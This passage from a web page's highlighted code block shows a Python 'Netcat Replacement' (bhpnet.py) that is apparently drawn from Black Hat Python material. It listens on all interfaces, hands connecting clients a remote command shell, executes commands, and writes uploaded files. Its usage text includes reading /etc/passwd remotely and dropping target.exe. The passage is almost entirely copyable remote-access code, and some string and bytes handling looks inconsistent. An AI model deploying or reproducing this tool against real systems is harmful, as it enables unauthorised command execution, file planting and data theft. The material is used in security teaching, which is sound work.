        buffer = sys.stdin.read()

        # send data off
        client_sender(buffer)

    # we are going to listen and potentially
    # upload things, execute commands and drop a shell back
    # depending on our command line options above
    if listen:
        server_loop()


main()" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> sys</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> getopt</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> threading</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> subprocess</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># define some global variables</span></span>
<span class="line"><span style="color: #F8F8F2">listen </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">command </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">upload </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">False</span></span>
<span class="line"><span style="color: #F8F8F2">execute </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">target </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">upload_destination </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;</span></span>
<span class="line"><span style="color: #F8F8F2">port </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># this runs a command and returns the output</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">run_command</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cmd</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># trim the newline</span></span>
<span class="line"><span style="color: #F8F8F2">    cmd </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> cmd.rstrip()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># run the command and get the output back</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        output </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> subprocess.check_output(cmd, </span><span style="color: #FD971F; font-style: italic">stderr</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">subprocess.</span><span style="color: #AE81FF">STDOUT</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">                                         </span><span style="color: #FD971F; font-style: italic">shell</span><span style="color: #F92672">=</span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> subprocess.CalledProcessError </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> e:</span></span>
<span class="line"><span style="color: #F8F8F2">        output </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> e.output</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># send the output back to the client</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> output</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># this handles incoming client connections</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">client_handler</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">client_socket</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> upload</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> execute</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> command</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># check for upload</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(upload_destination):</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read in all of the bytes and write to our destination</span></span>
<span class="line"><span style="color: #F8F8F2">        file_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># keep reading data until none is available</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> client_socket.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> data:</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">break</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                file_buffer </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> data</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># now we take these bytes and try to write them out</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            file_descriptor </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">open</span><span style="color: #F8F8F2">(upload_destination, </span><span style="color: #E6DB74">&quot;wb&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            file_descriptor.write(file_buffer.encode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">))</span></span>
<span class="line"><span style="color: #F8F8F2">            file_descriptor.close()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># acknowledge that we wrote the file out</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #E6DB74">&quot;Successfully saved file to </span><span style="color: #AE81FF">%s\r\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> upload_destination)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">OSError</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(</span></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #E6DB74">&quot;Failed to save file to </span><span style="color: #AE81FF">%s\r\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> upload_destination)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># check for command execution</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(execute):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># run the command</span></span>
<span class="line"><span style="color: #F8F8F2">        output </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> run_command(execute)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        client_socket.send(output)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># now we go into another loop if a command shell was requested</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> command:</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># show a simple prompt</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(</span><span style="color: #E6DB74">&quot;&lt;BHP:#&gt; &quot;</span><span style="color: #F8F8F2">.encode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># now we receive until we see a linefeed (enter key)</span></span>
<span class="line"><span style="color: #F8F8F2">            cmd_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;&#39;</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> cmd_buffer:</span></span>
<span class="line"><span style="color: #F8F8F2">                cmd_buffer </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> client_socket.recv(</span><span style="color: #AE81FF">1024</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># we have a valid command so execute it and send back the results</span></span>
<span class="line"><span style="color: #F8F8F2">            response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> run_command(cmd_buffer.decode())</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send back the response</span></span>
<span class="line"><span style="color: #F8F8F2">            client_socket.send(response)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># this is for incoming connections</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">server_loop</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> target</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> port</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># if no target is defined we listen on all interfaces</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(target):</span></span>
<span class="line"><span style="color: #F8F8F2">        target </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;0.0.0.0&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    server </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_STREAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    server.bind((target, port))</span></span>
<span class="line"><span style="color: #F8F8F2">    server.listen(</span><span style="color: #AE81FF">5</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        client_socket, addr </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> server.accept()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># spin off a thread to handle our new client</span></span>
<span class="line"><span style="color: #F8F8F2">        client_thread </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> threading.Thread(</span><span style="color: #FD971F; font-style: italic">target</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">client_handler,</span></span>
<span class="line"><span style="color: #F8F8F2">                                         </span><span style="color: #FD971F; font-style: italic">args</span><span style="color: #F92672">=</span><span style="color: #F8F8F2">(client_socket,))</span></span>
<span class="line"><span style="color: #F8F8F2">        client_thread.start()</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we don&#39;t listen we are a client... make it so.</span></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">client_sender</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">buffer</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    client </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_STREAM</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># connect to our target host</span></span>
<span class="line"><span style="color: #F8F8F2">        client.connect((target, port))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if we detect input from stdin send it</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># if not we are going to wait for the user to punch some in</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(buffer):</span></span>
<span class="line"><span style="color: #F8F8F2">            client.send(buffer.encode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># now wait for data back</span></span>
<span class="line"><span style="color: #F8F8F2">            recv_len </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2">            response </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">b</span><span style="color: #E6DB74">&#39;&#39;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> recv_len:</span></span>
<span class="line"><span style="color: #F8F8F2">                data </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> client.recv(</span><span style="color: #AE81FF">4096</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">                recv_len </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(data)</span></span>
<span class="line"><span style="color: #F8F8F2">                response </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> data</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">                </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> recv_len </span><span style="color: #F92672">&lt;</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">4096</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">                    </span><span style="color: #F92672">break</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(response.decode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">), </span><span style="color: #FD971F; font-style: italic">end</span><span style="color: #F92672">=</span><span style="color: #E6DB74">&#39; &#39;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># wait for more input</span></span>
<span class="line"><span style="color: #F8F8F2">            buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">input</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">            buffer </span><span style="color: #F92672">+=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;</span><span style="color: #AE81FF">\n</span><span style="color: #E6DB74">&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #88846F"># send it off</span></span>
<span class="line"><span style="color: #F8F8F2">            client.send(buffer.encode(</span><span style="color: #E6DB74">&#39;utf-8&#39;</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> socket.error </span><span style="color: #F92672">as</span><span style="color: #F8F8F2"> exc:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># just catch generic errors - you can do your homework to beef this up</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;[*] Exception! Exiting.&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #66D9EF; font-style: italic">f</span><span style="color: #E6DB74">&quot;[*] Caught exception socket.error: </span><span style="color: #AE81FF">{</span><span style="color: #F8F8F2">exc</span><span style="color: #AE81FF">}</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># teardown the connection</span></span>
<span class="line"><span style="color: #F8F8F2">        client.close()</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">usage</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Netcat Replacement&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Usage: bhpnet.py -t target_host -p port&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-l --listen                - listen on [host]:[port] for incoming &quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;connections&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-e --execute=file_to_run   - execute the given file upon receiving &quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;a connection&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;-c --command               - initialize a command shell&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;-u --upload=destination    - upon receiving connection upload a file &quot;</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #E6DB74">&quot;and write to [destination]&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">()</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Examples: &quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -c&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:</span><span style="color: #AE81FF">\\</span><span style="color: #E6DB74">target.exe&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;bhpnet.py -t 192.168.0.1 -p 5555 -l -e=</span><span style="color: #AE81FF">\&quot;</span><span style="color: #E6DB74">cat /etc/passwd</span><span style="color: #AE81FF">\&quot;</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;echo &#39;ABCDEFGHI&#39; | ./bhpnet.py -t 192.168.11.12 -p 135&quot;</span><span style="color: #F8F8F2">)</span></span>
<span class="line"><span style="color: #F8F8F2">    sys.exit(</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">main</span><span style="color: #F8F8F2">():</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> listen</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> port</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> execute</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> command</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> upload_destination</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">global</span><span style="color: #F8F8F2"> target</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">not</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">len</span><span style="color: #F8F8F2">(sys.argv[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">:]):</span></span>
<span class="line"><span style="color: #F8F8F2">        usage()</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #88846F"># read the commandline options</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        opts, args </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> getopt.getopt(sys.argv[</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">:], </span><span style="color: #E6DB74">&quot;hle:t:p:cu:&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">                                   [</span><span style="color: #E6DB74">&quot;help&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;listen&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;execute&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;target&quot;</span><span style="color: #F8F8F2">,</span></span>
<span class="line"><span style="color: #F8F8F2">                                    </span><span style="color: #E6DB74">&quot;port&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;command&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;upload&quot;</span><span style="color: #F8F8F2">])</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">for</span><span style="color: #F8F8F2"> o, a </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> opts:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">if</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-h&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--help&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                usage()</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-l&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--listen&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                listen </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-e&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--execute&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                execute </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> a</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-c&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--commandshell&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                command </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-u&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--upload&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                upload_destination </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> a</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #F92672">elif</span><span style="color: #F8F8F2"> o </span><span style="color: #F92672">in</span><span style="color: #F8F8F2"> (</span><span style="color: #E6DB74">&quot;-t&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #E6DB74">&quot;--target&quot;</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">                target </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> a</span></span>
